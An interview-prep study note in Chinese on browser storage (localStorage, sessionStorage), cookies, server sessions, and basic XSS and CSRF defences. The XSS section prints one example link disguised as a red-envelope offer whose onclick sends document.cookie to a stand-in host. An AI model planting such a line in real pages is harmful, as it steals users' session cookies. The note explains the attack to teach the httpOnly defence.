【面试常问】浏览器存储+Cookie

浏览器存储

一、localStorage和sessionStorage

1. 只有key和value，字符串存储
2. 浏览器本地存储，不和服务端通信

1. 方法和属性

• clear()
• length
• key()
• getItem()
• setItem()
• removeItem()

// 获取localStorage键名
for(let i = 0; i < localStorage.length; i++){
	console.log(localStorage.key(i));
}

2. 区别

• localStorage永久生效
• sessionStorage只在会话内有效
• 多个标签页之间共享localStorage；而sessionStorage只在当前会话窗口内生效

二、cookie和session

1. cookie

• 不设置过期时间，cookie会被保存在内存中，会话关闭就销毁，这种称为会话cookie
• 如果在浏览器中设置了cookie过期时间，cookie会被保存到硬盘中。关闭会话依然存在称为持久cookie
• cookie是服务器发给客户端的特殊信息，cookie 以文本形式保存在客户端，每次请求都会带上

cookie字段名	描述
Name	名
Value	值
Domain	域
Path	路径
Expires/Max-Age	过期时间
Size	大小
HttpOnly	仅http
Secure	https

2. session

• session存储在服务端
• sessionid存储在cookie中
• 服务端收到请求创建session对象时，首先会检查客户端请求中是否包含sessionid
• 如果有sessionid，服务端根据该id返回对应session对象
• 没有sessionid，服务端会创建新的session对象

3. 区别

• session能够支持任何类型的对象
• cookie保存数据不能超过4kb，session没有大小限制
• session安全性大于cookie

三、安全

XSS和CSRF

1. XSS

• 方式

<a href="#" οnclick=`window.location=http://abc.com?cookie=${document.cookie}`>领取红包</a>

• 解决办法

cookie设置httpOnly，JavaScript将不能操作cookie

2. CSRF

• 第一方cookie first party cookie:cookie的域和页面的域一致

• 第三方cookie third party cookie：cookie的域和页面域不同

• 挂羊头卖狗肉，不得到cookie，只利用验证信息伪装请求，从而改写删服务器数据

• 解决办法

1. 验证码
2. Referer Check
3. 随机token，攻击者不能伪造的信息